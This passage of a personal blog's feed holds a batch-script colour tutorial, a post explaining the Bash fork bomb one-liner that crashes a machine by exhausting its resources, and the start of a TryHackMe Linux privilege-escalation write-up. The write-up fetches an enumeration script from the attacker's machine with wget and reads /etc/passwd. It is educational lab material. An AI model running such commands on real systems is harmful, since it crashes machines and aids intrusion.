&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
  &lt;p&gt;The variable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt; you can see is used to modify the colour, once an entire line is printed in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;ESC&amp;gt;[%a%m&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt; is incremented and the loop starts back again, now with the colour &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a + 1&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You may be asking yourself where is this loop re-started with a different color, and you’re right, let’s get to that :&lt;/p&gt;

&lt;p&gt;In batch file there exist these things called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;labels&lt;/code&gt;, which you can think of as kind of a checkpoint, you can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;go to &amp;lt;label&amp;gt;&lt;/code&gt; and the program will execute the code that is under that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;label&lt;/code&gt;.
The name of the only label I use in the script is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;colorLoop&lt;/code&gt;, and it is what lets us go back to the beginning of the loop with a different value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt; every time.&lt;/p&gt;

&lt;p&gt;Here you can see the full code of &lt;span class=&quot;pink&quot;&gt;rainbow.bat&lt;/span&gt; :&lt;/p&gt;
&lt;hr /&gt;
&lt;div class=&quot;language-bat highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;@echo &lt;span class=&quot;na&quot;&gt;off&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/A &lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;41&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;mode&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;con&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;ModeTemp&lt;/span&gt;.txt

&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/p &lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;speed&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Select speed : [1/2]&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/f &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;tokens=*&quot;&lt;/span&gt; &lt;span class=&quot;vm&quot;&gt;%%a&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'perl parse.pl'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;cols&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;vm&quot;&gt;%%a&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/A &lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;mod&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%cols%&lt;/span&gt; &lt;span class=&quot;err&quot;&gt;%%&lt;/span&gt; &lt;span class=&quot;m&quot;&gt;2&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%mod%&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/A &lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;cols&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-=&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;del&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;ModeTemp&lt;/span&gt;.txt

&lt;span class=&quot;nl&quot;&gt;:colorLoop&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/L &lt;/span&gt;&lt;span class=&quot;vm&quot;&gt;%%n&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%speed%&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%cols%&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%speed%&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%a%&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;m [0m&quot;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%speed%&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/p&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%a%&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;m  [0m&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%mod%&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;%a%&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;m&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;m&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/A &lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;1&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;%a%&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;47&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/A &lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;41&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;nl&quot;&gt;:colorLoop&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
  &lt;p&gt;In case you’re wondering, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@echo off&lt;/code&gt; is used to turn off echo, this way the commands won’t be displayed through the terminal&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;parsepl&quot;&gt;&lt;span class=&quot;pink&quot;&gt;parse.pl&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;As promised, it is now time to review the parser. First of all, I have created it in Perl because it provides a great support for regular expressions, but it could have been done in other languages.
This time, I’ll show the full code and then I’ll try my best to explain it :&lt;/p&gt;

&lt;hr /&gt;
&lt;div class=&quot;language-bat highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#&lt;span class=&quot;err&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;/usr/bin/perl

&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;warnings&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;FH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'&amp;lt;'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'ModeTemp.txt'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;die&lt;/span&gt; $&lt;span class=&quot;err&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;while&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&amp;lt;&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;FH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;){&lt;/span&gt;
   &lt;span class=&quot;nb&quot;&gt;print&lt;/span&gt; $1 &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; $_ &lt;span class=&quot;o&quot;&gt;=~&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/Columns&lt;/span&gt;:\s&lt;span class=&quot;o&quot;&gt;*(&lt;/span&gt;\d\d&lt;span class=&quot;o&quot;&gt;*)&lt;/span&gt;/&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;FH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;hr /&gt;

&lt;p&gt;Firstly, the program is told which interpreter to use, in this case &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;perl&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Probably &lt;a href=&quot;https://www.perltutorial.org/perl-open-file/&quot;&gt;perltutorial&lt;/a&gt; will explain the I/0 file part better than me, so I strongly advice to read the linked page. It is only 5 minutes, you can do that instead of going to the kitchen for some cookies (actually, the optimal is to do both).&lt;/p&gt;

&lt;p&gt;In order to understand the regexp (regular expressions) that I have used, it is first a good choice to look at the output of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mode con&lt;/code&gt; command, since that is what the script is parsing :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/2021-07-25%2016_03_04-Window.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The interesting line is the one with “Columns : x”, so that is what the parser will get :&lt;/p&gt;

&lt;hr /&gt;
&lt;div class=&quot;language-bat highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;print&lt;/span&gt; $1 &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; $_ &lt;span class=&quot;o&quot;&gt;=~&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;/Columns&lt;/span&gt;:\s&lt;span class=&quot;o&quot;&gt;*(&lt;/span&gt;\d\d&lt;span class=&quot;o&quot;&gt;*)&lt;/span&gt;/&lt;span class=&quot;o&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;hr /&gt;
&lt;p&gt;In this piece of code, I’m telling the program to print the extracted pattern only if the line it is reading matches the full pattern &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/Columns:\s*(\d\d*)/&lt;/code&gt;, which can be explained by looking at each part :&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Columns:&lt;/code&gt; is simply the exact string that will match&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\s*&lt;/code&gt; means 0 or more occurrences of a blank space, tab, etc. (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\s&lt;/code&gt; is the character and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;*&lt;/code&gt; is for saying “0 or more times the preceding expression”)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\d\d*&lt;/code&gt; means one digit, and then zero or more digts after that.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Obviously, the only line that matches this whole pattern is the Columns line, and therefore we are capable of obtaining the number through the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$1&lt;/code&gt; variable, which stores the part inside the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;()&lt;/code&gt; of the pattern. &lt;a href=&quot;https://www.perltutorial.org/regular-expression-extracting-matches/&quot;&gt;More on Perl extracting matches from regex&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you want to try this little script out, you can have a look at my github repo. Thanks for reading me! :)&lt;/p&gt;
&lt;style&gt;
  .border {   
  border-width: 0px;
  border-color: #7FFF00;
  border-style: groove;
  box-shadow: 0px 0px 8px #ADFF2F} 
 .green {
 text-shadow : 0px 0px 4px #ADFF2F }
 .pink {
 text-shadow : 0px 0px 4px #ff6699 }
&lt;/style&gt;

</description>
        <pubDate>Sun, 25 Jul 2021 00:00:00 +0000</pubDate>
        <link>https://peixetlift.github.io//Command-Line-Rainbow</link>
        <link href="https://peixetlift.github.io/Command-Line-Rainbow"/>
        <guid isPermaLink="true">https://peixetlift.github.io/Command-Line-Rainbow</guid>
      </item>
    
      <item>
        <title>Bash Fork Bomb</title>
        <description>&lt;p&gt;Hello everyone! This post will be about a famous bash script the purpose of which is to harm a system by consuming a big amount of its resources.&lt;/p&gt;

&lt;p&gt;This script is commonly known as “Fork Bomb” and this is how it works :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;We create a function called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;We write the function’s code, which will be calling itself recursively and creating two child processes, which can’t be terminated by themselves because they are running in the background (this loop will be run forever)&lt;/li&gt;
  &lt;li&gt;We call the function to trigger the bomb&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;span class=&quot;green&quot;&gt; Bash code : &lt;/span&gt;
&lt;br /&gt;&lt;/p&gt;

&lt;hr /&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;:(){ :|: &amp;amp; };:
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h2 id=&quot;detailed-explanation&quot;&gt;Detailed explanation&lt;/h2&gt;

&lt;p&gt;&lt;span class=&quot;pink&quot;&gt;1.-&lt;/span&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:()&lt;/code&gt; creates the function with name &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:&lt;/code&gt;&lt;br /&gt;
&lt;span class=&quot;pink&quot;&gt;2.-&lt;/span&gt; Inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;{}&lt;/code&gt;we write the code, which will be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:|: &amp;amp;&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:&lt;/code&gt; calls the function, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;|&lt;/code&gt; pipes its output into another call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:&lt;/code&gt;, and we tell it to run in the background with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;amp;&lt;/code&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;span class=&quot;pink&quot;&gt;3.-&lt;/span&gt; More specifically, what &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;amp;&lt;/code&gt; does is disowning the function, which makes the child processes unable to be auto-killed when the father process is terminated. You can find more information &lt;a href=&quot;https://datacadamia.com/lang/bash/process/ampersand&quot;&gt;in here&lt;/a&gt;&lt;br /&gt;
&lt;span class=&quot;pink&quot;&gt;4.-&lt;/span&gt; Finally, we use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;;&lt;/code&gt; as a command separator and we run the function with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:&lt;/code&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;&lt;span class=&quot;pink&quot; style=&quot;font-size:35px&quot;&gt;&lt;b&gt; DISCLAIMER &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;Please do not use this command unless you are ready to see your PC crash and reboot it.&lt;br /&gt;
The command doesn’t require super-user privileges to run.&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;I hope this little article was of good interest to you, see you later :)&lt;br /&gt;&lt;/p&gt;
&lt;style&gt;
  .border {   
  border-width: 0px;
  border-color: #7FFF00;
  border-style: groove;
  box-shadow: 0px 0px 8px #ADFF2F} 
 .green {
 text-shadow : 0px 0px 4px #ADFF2F }
 .pink {
 text-shadow : 0px 0px 4px #ff6699 }
&lt;/style&gt;

</description>
        <pubDate>Fri, 14 May 2021 00:00:00 +0000</pubDate>
        <link>https://peixetlift.github.io//Bash-Fork-Bomb</link>
        <link href="https://peixetlift.github.io/Bash-Fork-Bomb"/>
        <guid isPermaLink="true">https://peixetlift.github.io/Bash-Fork-Bomb</guid>
      </item>
    
      <item>
        <title>Common Linux PrivEsc detailed write-up | TryHackMe</title>
        <description>&lt;p&gt;&lt;a href=&quot;https://tryhackme.com/room/commonlinuxprivesc&quot;&gt;Common Linux Privesc Room&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Tasks &lt;span class=&quot;pink&quot;&gt;1&lt;/span&gt;, &lt;span class=&quot;pink&quot;&gt;2&lt;/span&gt; and &lt;span class=&quot;pink&quot;&gt;3&lt;/span&gt; don’t need explanation.&lt;/p&gt;

&lt;h2 id=&quot;task-4--enumeration&quot;&gt;Task 4 : Enumeration&lt;/h2&gt;

&lt;p&gt;To get &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LinEnum&lt;/code&gt; on the target’s machine, you need to start a server on your local machine (it has to be in the directory where you store &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LinEnum.sh&lt;/code&gt; or you will have to provide the path to it afterwards) and connect to it from the target :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/python%20listener%20server4.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python3 -m http.server 8000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-m&lt;/code&gt; option is used to search a module and run the corresponding python script, which in this case is an http server.
The number 8000 is the port that our server will be listening in, you can select any port that’s not being used.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Once the server is started, you can request the file you want from the target’s console :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/wget%20linenum4.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wget &amp;lt;YOUR MACHINE'S @IP&amp;gt;:8000/LinEnum.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget&lt;/code&gt; is a network downloader
By using this command, we are downloading the file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LinEnum.sh&lt;/code&gt; from the server in &amp;lt;YOUR MACHINE’S @IP&amp;gt; that we started before.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Now that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LinEnum.sh&lt;/code&gt; is on the target’s machine, we need to make it executable (because we need to run it in order to start the enumeration process), this is done by using :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;chmod +x LinEnum.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To see how Linux file permissions work, you can visit &lt;a href=&quot;https://www.redhat.com/sysadmin/manage-permissions&quot;&gt;this page&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let’s now look at how many “user[x]” are there in the system :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/grep%20user4.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cat /etc/passwd | grep user*
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;blockquote&gt;
  &lt;p&gt;What we are doing with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cat&lt;/code&gt; is showing in stdout (Standard Output) the contents of the file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/passwd&lt;/code&gt; and piping them into a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grep&lt;/code&gt; command.&lt;/p&gt;

  &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grep&lt;/code&gt; allows us to look for patterns in texts, by typing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grep user*&lt;/code&gt; we are searching for any pattern that contains the word “user” and any other character next to it (this is why we use the wildcard *)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;
&lt;p class=&quot;answer&quot;&gt;Answer : there are 8 user[x] in the system.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;For a better understanding of wildcards in Linux, you can visit &lt;a href=&quot;https://geek-university.com/linux/wildcard/&quot;&gt;this page&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The next step is to find how many shells there are in the system, to guess so, we need to start enumerating with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LinEnum.sh&lt;/code&gt;.
You can run the script with :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./LinEnum.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;blockquote&gt;
  &lt;p&gt;Remember that you have previously dowloaded it, given the proper permissions and you are working in the directory where it is located.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;A better way of keeping our enumeration clean and easily manageable is to write the output of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LinEnum.sh&lt;/code&gt; to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.txt&lt;/code&gt; file :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./LinEnum.sh &amp;gt; LinEnum.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;The file can be named as what you want, but I recommend using a name such as “LinEnum” or “Enumeration”.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Once we have run the script, we can look for how many shells there are in the system :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/grep%20shell4.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cat linEnum.txt | grep shell
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;hr /&gt;
&lt;p class=&quot;answer&quot;&gt;Answer : There are 4 shells in the system&lt;/p&gt;
&lt;hr /&gt;

&lt;p&gt;We are now asked what is the name of the bash script that is set to run every 5 minutes by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cron&lt;/code&gt;.
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cron&lt;/code&gt; is used to automate tasks in Linux, its syntax can be a little bit tricky so if you need some more info you can have a look at &lt;a href=&quot;https://linuxhandbook.com/crontab/&quot;&gt;this site&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cron&lt;/code&gt; jobs are displayed in each user’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/crontab&lt;/code&gt; file, but since we run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LinEnum.sh&lt;/code&gt; to do the work for us, we can just look for it at its output :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/peixetlift/peixetlift.github.io/master/assets/LinuxPrivEsc/grep%20crontab%204.png&quot; class=&quot;border&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cat linEnum.txt | grep crontab -C 10
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;p&gt;If you have read the previous tasks, you already know what this is doing, the only novelty is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-C&lt;/code&gt; option, which specifies how many lines of context you want to display.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;hr /&gt;
&lt;p class=&quot;answer&quot;&gt;Answer : The autoscript.sh file is located in the &quot;/home/user4/Desktop&quot; directory&lt;/p&gt;
&lt;hr /&gt;

&lt;p&gt;Finally, we want to search for a file that has had its permissions changed, and now users are allowed to write to it :&lt;/p&gt;

